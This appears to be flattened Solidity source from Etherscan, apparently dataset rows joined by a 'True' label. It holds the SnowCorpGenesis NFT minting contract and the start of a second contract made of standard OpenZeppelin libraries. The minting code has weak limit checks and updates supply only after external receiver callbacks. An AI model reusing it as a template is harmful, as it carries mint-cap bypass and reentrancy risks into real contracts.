require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC721Pausable is ERC721, Pausable {
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(!paused(), "ERC721Pausable: token transfer while paused");
}
}
// File: contracts/SnowCorpGenesis.sol
pragma solidity ^0.8.0;
contract ISnowed is Ownable {
mapping (address => uint32) public _snowedAddresses;
mapping (address => uint32) public _snowedAddressesMinted;
constructor () { }
function addSnowed(address[] calldata _addresses, uint32[] calldata _amounts) public onlyOwner {
for (uint x = 0; x < _addresses.length; x++) {
_snowedAddresses[_addresses[x]] = _amounts[x];
}
}
function removeSnowed(address[] calldata _addresses) public onlyOwner {
for (uint x = 0; x < _addresses.length; x++) {
_snowedAddresses[_addresses[x]] = 0;
}
}
function isSnowed(address _address) public view returns (uint32) {
return _snowedAddresses[_address];
}
function snowedMinted(address _address) public view returns (uint32) {
return _snowedAddressesMinted[_address];
}
function addToMinted(address _address, uint32 count) internal {
if (_snowedAddressesMinted[_address] > 0) {
require(_snowedAddressesMinted[_address] < _snowedAddresses[_address], "SNOWED: Exceeds the max you can mint");
_snowedAddressesMinted[_address] += count;
}else{
_snowedAddressesMinted[_address] = count;
}
}
}
pragma solidity ^0.8.0;
contract SnowCorpGenesis is Ownable, ERC721Pausable, ISnowed {
uint public PUBLIC_PRICE = 0.33 ether;
uint public SNOWED_PRICE = 0.3 ether;
uint public TOTAL_SUPPLY = 0;
uint32 public constant MAX_SUPPLY = 770;
uint32 public MINT_LIMIT = 3;
bool public isSaleActive = false;
bool public revealed = false;
string public baseURI;
string public notRevealedUri;
string public baseExtension = ".json";
using SafeMath for uint32;
using Strings for uint;
constructor() ERC721("Snow Corp: GENESIS", "SNOW"){}
function mint(uint32 count) public payable{
require(isSaleActive == true, "SNOW CORP: Sale is Paused.");
require(count > 0, "SNOW CORP: Mint at least one token");
require(count <= MINT_LIMIT, "SNOW CORP: Max per transaction: 3");
require(balanceOf(msg.sender) < MINT_LIMIT, "SNOW CORP: Exceeds the max you can mint");
require(TOTAL_SUPPLY + count <= MAX_SUPPLY, "SNOW CORP: Not enough tokens left");
require(msg.value >= PUBLIC_PRICE * count, "SNOW CORP: Incorrect ether amount");
for(uint i = 0; i < count; i++)
_safeMint(msg.sender, TOTAL_SUPPLY + 1 + i);
TOTAL_SUPPLY += count;
}
function snowedMint(uint32 count) public payable{
require(isSaleActive == true, "SNOW CORP: Sale is Paused.");
require(count > 0, "SNOW CORP: Mint at least one token");
require(count <= MINT_LIMIT, "SNOW CORP: Max per transaction 3");
require(isSnowed(msg.sender) > 0, "SNOW CORP: You are not in the presale");
require(snowedMinted(msg.sender).add(count) <= isSnowed(msg.sender), "SNOW CORP: Exceeds the max you can mint in the presale");
require(TOTAL_SUPPLY + count <= MAX_SUPPLY, "SNOW CORP: Not enough tokens left");
require(msg.value >= SNOWED_PRICE * count, "SNOW CORP: Incorrect ether amount");
for(uint i = 0; i < count; i++)
_safeMint(msg.sender, TOTAL_SUPPLY + 1 + i);
TOTAL_SUPPLY += count;
addToMinted(msg.sender, count);
}
function ownerMint(address[] memory _wallets) public onlyOwner{
require(TOTAL_SUPPLY + _wallets.length <= MAX_SUPPLY, "SNOW CORP: Not enough tokens left");
for(uint i = 0; i < _wallets.length; i++)
_safeMint(_wallets[i], TOTAL_SUPPLY + 1 + i);
TOTAL_SUPPLY += _wallets.length;
}
function setBaseUri(string memory _uri) external onlyOwner {
baseURI = _uri;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function reveal(bool temp) public onlyOwner {
revealed = temp;
}
function activeSale(bool temp) external onlyOwner {
isSaleActive = temp;
}
function setPause(bool temp) public onlyOwner {
if (temp == false) {
_unpause();
}else {
_pause();
}
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function tokenURI(uint tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(
currentBaseURI,
tokenId.toString(),
baseExtension
)
)
: "";
}
function withdrawAll() external onlyOwner {
uint _balance = address(this).balance;
payable(owner()).transfer(_balance);
}
function withdraw(uint _amount) external onlyOwner {
payable(owner()).transfer(_amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-15
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-29
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.3.2 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
